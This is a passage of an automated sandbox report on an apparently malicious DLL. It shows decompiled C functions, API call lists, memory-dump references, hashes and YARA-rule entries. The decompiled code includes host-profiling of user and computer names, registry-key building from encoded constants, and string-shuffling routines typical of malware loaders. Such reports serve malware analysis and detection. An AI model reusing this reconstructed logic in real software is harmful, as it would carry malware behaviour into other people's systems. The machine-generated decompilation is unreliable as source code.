						if(E027C7767(_t97,  *_t33, _t91, _a8,  *0x27ca3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x27ca348; // 0x10fd5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x27cbb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x27cbbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E027C7238(_t69,  *0x27ca3d4,  *0x27ca3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x27ca348; // 0x10fd5a8
									_t44 = _t71 + 0x27cb332; // 0x74666f53
									_t73 = E027C6536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d027c90
										E027C5B0E( *_t47, _t91, _a8,  *0x27ca3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d027c90
										E027C5B0E( *_t49, _t91, _t99,  *0x27ca3d0, _a16);
										E027C61DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d027c90
									E027C5B0E( *_t40, _t91, _a8,  *0x27ca3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d027c90
									E027C5B0E( *_t43, _t91, _a8,  *0x27ca3d0, _a16);
								}
								if( *_t101 != 0) {
									E027C61DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d027c90
					_t81 = E027C58BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d027c90
							E027C7767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E027C61DA(_t100);
						_t98 = _a16;
					}
					E027C61DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E027C7AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x27ca3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                    0x027c4c94
                    0x027c4c9d
                    0x027c4ca4
                    0x027c4ca9
                    0x027c4d16
                    0x027c4d1c
                    0x027c4d21
                    0x027c4d28
                    0x027c4d2d
                    0x027c4d32
                    0x027c4e9d
                    0x027c4ea4
                    0x027c4ea4
                    0x027c4ea9
                    0x027c4eab
                    0x027c4eab
                    0x027c4eb4
                    0x027c4eb4
                    0x027c4d38
                    0x027c4d44
                    0x027c4e93
                    0x027c4e96
                    0x00000000
                    0x027c4e96
                    0x027c4d4a
                    0x027c4d4f
                    0x027c4d52
                    0x027c4d57
                    0x027c4d5c
                    0x027c4da5
                    0x027c4da5
                    0x027c4db8
                    0x027c4dc2
                    0x027c4dc8
                    0x027c4dcf
                    0x027c4dd9
                    0x027c4dd9
                    0x027c4dd1
                    0x027c4dd1
                    0x027c4dd1
                    0x027c4dd1
                    0x027c4dfb
                    0x027c4e03
                    0x027c4e31
                    0x027c4e36
                    0x027c4e3d
                    0x027c4e42
                    0x027c4e46
                    0x027c4e78
                    0x027c4e48
                    0x027c4e55
                    0x027c4e58
                    0x027c4e68
                    0x027c4e6b
                    0x027c4e71
                    0x027c4e71
                    0x027c4e05
                    0x027c4e12
                    0x027c4e15
                    0x027c4e27
                    0x027c4e2a
                    0x027c4e2a
                    0x027c4e82
                    0x027c4e8e
                    0x027c4e84
                    0x027c4e87
                    0x027c4e87
                    0x027c4e82
                    0x027c4dfb
                    0x00000000
                    0x027c4dc2
                    0x027c4d6b
                    0x027c4d6e
                    0x027c4d75
                    0x027c4d7b
                    0x027c4d7e
                    0x027c4d80
                    0x027c4d8c
                    0x027c4d8f
                    0x027c4d8f
                    0x027c4d95
                    0x027c4d9a
                    0x027c4d9a
                    0x027c4da0
                    0x00000000
                    0x027c4da0
                    0x027c4cae
                    0x00000000
                    0x027c4cd5
                    0x027c4cd5
                    0x027c4ce1
                    0x027c4cf4
                    0x027c4cfa
                    0x027c4d02
                    0x00000000
                    0x027c4d02

                    APIs
                    • StrChrA.SHLWAPI(027C6A76,0000005F,00000000,00000000,00000104), ref: 027C4CC7
                    • lstrcpy.KERNEL32(?,?), ref: 027C4CF4
                      • Part of subcall function 027C6536: lstrlen.KERNEL32(?,00000000,038C9DD8,00000000,027C6F0A,038C9FFB,43175AC3,?,?,?,?,43175AC3,00000005,027CA00C,4D283A53,?), ref: 027C653D
                      • Part of subcall function 027C6536: mbstowcs.NTDLL ref: 027C6566
                      • Part of subcall function 027C6536: memset.NTDLL ref: 027C6578
                      • Part of subcall function 027C5B0E: lstrlenW.KERNEL32(?,?,?,027C4E5D,3D027C90,80000002,027C6A76,027C57D1,74666F53,4D4C4B48,027C57D1,?,3D027C90,80000002,027C6A76,?), ref: 027C5B33
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    • lstrcpy.KERNEL32(?,00000000), ref: 027C4D16
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                    • String ID: ($\
                    • API String ID: 3924217599-1512714803
                    • Opcode ID: b499e4a5c7e8d2ff761c4e2f725d3a2d3bfb90155ddfeaca6840dba4cc62c888
                    • Instruction ID: a1ddffad29ba9aba3d29adffc4170f22296fcdc3e733d1ae6f255243fe50a0ba
                    • Opcode Fuzzy Hash: b499e4a5c7e8d2ff761c4e2f725d3a2d3bfb90155ddfeaca6840dba4cc62c888
                    • Instruction Fuzzy Hash: 955148B290020AEFDF12AF70DC64EAA7BBAEF44715F20891CFA1196160D735D925DF10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB92710 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON
                    Download Yara Rule
                    Strings
                    • C:\Windows\system32\loaddll32.exe, xrefs: 6CB9272C
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID: C:\Windows\system32\loaddll32.exe
                    • API String ID: 0-1062229814
                    • Opcode ID: caa1a09235461d5a6b46b595e85cdf80db27d9a64f9295d14eb855d3fa486d3a
                    • Instruction ID: c4252c65292b247790b705503ea5f497a0a9da2dd65a6404a98388147e5952cc
                    • Opcode Fuzzy Hash: caa1a09235461d5a6b46b595e85cdf80db27d9a64f9295d14eb855d3fa486d3a
                    • Instruction Fuzzy Hash: 6F21CD31A08285AF97009F769C8888B77BDEF133687044635F818B7F50DB34EC448762
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8E5C7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • FreeLibrary.KERNEL32(00000000,?,?,6CB8E688,00000000,?,00000001,00000000,?,6CB8E6FF,00000001,FlsFree,6CB9B64C,FlsFree,00000000), ref: 6CB8E657
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeLibrary
                    • String ID: api-ms-
                    • API String ID: 3664257935-2084034818
                    • Opcode ID: 33ea164f33bdd61448e27663c99a7aaeb53936f918d22b700a65e520bc308240
                    • Instruction ID: 8e96fa4af86a8d321fb5cb8a957a5244beac2857674f294b1aa024772ce70a48
                    • Opcode Fuzzy Hash: 33ea164f33bdd61448e27663c99a7aaeb53936f918d22b700a65e520bc308240
                    • Instruction Fuzzy Hash: 0211A739F462A1ABDF124E698D40B4E73B4EF03778F240221E910E76C4D620ED008AE6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB77F4E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf, xrefs: 6CB78019
                    • HdIrWcSHQLiLxJKBNsgjq, xrefs: 6CB78005
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf$HdIrWcSHQLiLxJKBNsgjq
                    • API String ID: 1384045349-3853596494
                    • Opcode ID: 91d1fe332e92e24b11f2b6c4510b81178e6bb8e9a38cd0f270a1c24b580e1ced
                    • Instruction ID: bc026d95eda8c28ca682af3974ecf0591d226336404ab2ac1ebba43ecc007fc8
                    • Opcode Fuzzy Hash: 91d1fe332e92e24b11f2b6c4510b81178e6bb8e9a38cd0f270a1c24b580e1ced
                    • Instruction Fuzzy Hash: A62124B59012A88ECB75DB68CC94BDEBBB2AF55208F4080D9D59977641DB301F88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB883D5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • IdGwokZvBKJJ, xrefs: 6CB88476
                    • FEYbrlejjDhshxgolbMzGlysyJTwChEEuxSLFtx, xrefs: 6CB88486
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: FEYbrlejjDhshxgolbMzGlysyJTwChEEuxSLFtx$IdGwokZvBKJJ
                    • API String ID: 1384045349-3788017932
                    • Opcode ID: a417d3eaf4dc2a8ab1dcdc1643624d47a56003dbd172b4d486f7ec2510bbbff4
                    • Instruction ID: f24488a5a4a1a1efa308c080975170ef7b4637d3e20fdc4728bfe2f9724c75f4
                    • Opcode Fuzzy Hash: a417d3eaf4dc2a8ab1dcdc1643624d47a56003dbd172b4d486f7ec2510bbbff4
                    • Instruction Fuzzy Hash: EA212C71C151989BCB39DBA4CC909EDB778AF54305F0440E9D61A67751DB302B88CF64
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8FDDE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0B724F1C,?,?,00000000,6CB991CF,000000FF,?,6CB8FD6E,?,?,6CB8FD42,00000000), ref: 6CB8FE13
                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CB8FE25
                    • FreeLibrary.KERNEL32(00000000,?,00000000,6CB991CF,000000FF,?,6CB8FD6E,?,?,6CB8FD42,00000000), ref: 6CB8FE47
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressFreeHandleLibraryModuleProc
                    • String ID: CorExitProcess$mscoree.dll
                    • API String ID: 4061214504-1276376045
                    • Opcode ID: 730126392b6b70be3bb15aaba83a92b2583dc08b46f416c798f6b35f715cad9f
                    • Instruction ID: e8fa786a0444345adc1a7697cac791a911b675e38b71e7d100a5ceb29d277dda
                    • Opcode Fuzzy Hash: 730126392b6b70be3bb15aaba83a92b2583dc08b46f416c798f6b35f715cad9f
                    • Instruction Fuzzy Hash: 83016235E01669AFDF129F50CD48FAEBBB9FB0A715F100629E821A3680DB749904CE50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB913DC Relevance: 7.7, APIs: 5, Instructions: 202COMMON
                    Download Yara Rule
                    APIs
                    • __alloca_probe_16.LIBCMT ref: 6CB91463
                    • __alloca_probe_16.LIBCMT ref: 6CB91524
                    • __freea.LIBCMT ref: 6CB9158B
                      • Part of subcall function 6CB91157: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,6CB8A7BD,00000000,?,6CB72A0C,00000000,?,6CB719F5,00000000), ref: 6CB91189
                    • __freea.LIBCMT ref: 6CB915A0
                    • __freea.LIBCMT ref: 6CB915B0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: __freea$__alloca_probe_16$AllocateHeap
                    • String ID:
                    • API String ID: 1423051803-0
                    • Opcode ID: 857b436179c78a2dfae35c40b6514cfd1bc318d8c28dd949889d571a54cc4f00
                    • Instruction ID: 733913f60968f337ff23b17306ac3234464911b050a3bebc4693c36c8dc7aa52
                    • Opcode Fuzzy Hash: 857b436179c78a2dfae35c40b6514cfd1bc318d8c28dd949889d571a54cc4f00
                    • Instruction Fuzzy Hash: 8951C872601195AFEB108F64CC40EFF36ADEF4A218B2A0139FD16D7650E730CD14A661
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 22%
                    			E027C7040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E027C33DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E027C61DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E027C33DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x27ca318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                    0x027c7047
                    0x027c704e
                    0x027c7053
                    0x027c7056
                    0x027c705d
                    0x027c7060
                    0x027c7063
                    0x027c7068
                    0x027c706d
                    0x027c71c1
                    0x027c71c3
                    0x027c71c5
                    0x027c71ca
                    0x027c71ca
                    0x027c7073
                    0x027c7076
                    0x027c7079
                    0x027c707b
                    0x027c707b
                    0x027c707f
                    0x00000000
                    0x00000000
                    0x027c7083
                    0x027c70af
                    0x027c70b4
                    0x027c70b6
                    0x027c70b6
                    0x027c70b9
                    0x027c70bc
                    0x027c70bc
                    0x027c70be
                    0x00000000
                    0x027c7089
                    0x027c708b
                    0x027c70aa
                    0x027c70aa
                    0x027c70c1
                    0x027c70c1
                    0x027c70c2
                    0x027c70c2
                    0x027c70c5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c70c5
                    0x027c708f
                    0x027c70d6
                    0x027c70da
                    0x027c71b4
                    0x027c71b6
                    0x027c71b6
                    0x027c71b7
                    0x027c71ba
                    0x00000000
                    0x027c71ba
                    0x027c70e3
                    0x027c70f4
                    0x027c70f8
                    0x027c71b0
                    0x00000000
                    0x027c71b0
                    0x027c70fe
                    0x027c7101
                    0x027c7105
                    0x027c7109
                    0x027c710e
                    0x027c71a6
                    0x027c71a6
                    0x00000000
                    0x027c71ac
                    0x027c7119
                    0x027c7122
                    0x027c7136
                    0x027c713d
                    0x027c7152
                    0x027c7158
                    0x027c7160
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c7162
                    0x027c7162
                    0x027c7162
                    0x027c7169
                    0x027c7171
                    0x00000000
                    0x00000000
                    0x027c7173
                    0x027c717c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c717e
                    0x027c7180
                    0x027c7183
                    0x027c7183
                    0x027c7186
                    0x027c718a
                    0x027c718d
                    0x027c7193
                    0x027c7196
                    0x027c719d
                    0x00000000
                    0x027c7119
                    0x027c7094
                    0x027c709c
                    0x027c70a2
                    0x027c70a4
                    0x027c70a4
                    0x027c70a7
                    0x027c70a9
                    0x00000000
                    0x027c70a9
                    0x027c7083
                    0x027c70c9
                    0x027c70ce
                    0x027c70d0
                    0x027c70d0
                    0x027c70d3
                    0x027c70d3
                    0x00000000

                    APIs
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • lstrcpy.KERNEL32(43175AC4,00000020), ref: 027C713D
                    • lstrcat.KERNEL32(43175AC4,00000020), ref: 027C7152
                    • lstrcmp.KERNEL32(00000000,43175AC4), ref: 027C7169
                    • lstrlen.KERNEL32(43175AC4), ref: 027C718D
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                    • String ID:
                    • API String ID: 3214092121-3916222277
                    • Opcode ID: 31b04d379ec61df881f24cd439cb018c6a9c4c4db5180a571233b9eef59cae05
                    • Instruction ID: 0e8d61c198eda2cc4857c1ab40e4e51b0c0e5962c41efae8af760d850de38d38
                    • Opcode Fuzzy Hash: 31b04d379ec61df881f24cd439cb018c6a9c4c4db5180a571233b9eef59cae05
                    • Instruction Fuzzy Hash: 9B518F71A00218EBDB19CFA9C4846ADFBBAEF85364F25805EE815AB205CB709651CF90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C1340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C1340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E027C33DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E027C61DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x27c3e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                    0x027c134e
                    0x027c1351
                    0x027c1354
                    0x027c135a
                    0x027c135f
                    0x027c1365
                    0x027c136d
                    0x027c1370
                    0x027c1376
                    0x027c137b
                    0x027c1384
                    0x027c1388
                    0x027c1395
                    0x027c1399
                    0x027c139b
                    0x027c139f
                    0x027c13a2
                    0x027c13b2
                    0x027c1405
                    0x027c1406
                    0x027c13b4
                    0x027c13b9
                    0x027c13ba
                    0x027c13bf
                    0x027c13c2
                    0x027c13d5
                    0x00000000
                    0x027c13d7
                    0x027c13da
                    0x027c13df
                    0x027c13ed
                    0x027c13f0
                    0x027c13f6
                    0x027c13fb
                    0x00000000
                    0x027c13fd
                    0x027c13fd
                    0x027c1400
                    0x027c1400
                    0x027c13fb
                    0x027c13d5
                    0x027c140b
                    0x027c140c
                    0x027c137b
                    0x027c1412

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,027C3DFF), ref: 027C1354
                    • GetComputerNameW.KERNEL32(00000000,027C3DFF), ref: 027C1370
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • GetUserNameW.ADVAPI32(00000000,027C3DFF), ref: 027C13AA
                    • GetComputerNameW.KERNEL32(027C3DFF,7491C740), ref: 027C13CD
                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,027C3DFF,00000000,027C3E01,00000000,00000000,?,7491C740,027C3DFF), ref: 027C13F0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                    • String ID:
                    • API String ID: 3850880919-0
                    • Opcode ID: cafe6df999322ea0a22e6fad26c2048f405f29c5659f2d6781e6f8539bb1b0ed
                    • Instruction ID: 36a3b7511943ee7822cefb7f12fa816aa716cd790e51289d03b502534a83b2ba
                    • Opcode Fuzzy Hash: cafe6df999322ea0a22e6fad26c2048f405f29c5659f2d6781e6f8539bb1b0ed
                    • Instruction Fuzzy Hash: BA21D876900109FFCB11DFE5D9849EEBBB8EF44305B6044AEE505E7241DB309B45DB20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C54D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C54D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x27ca30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
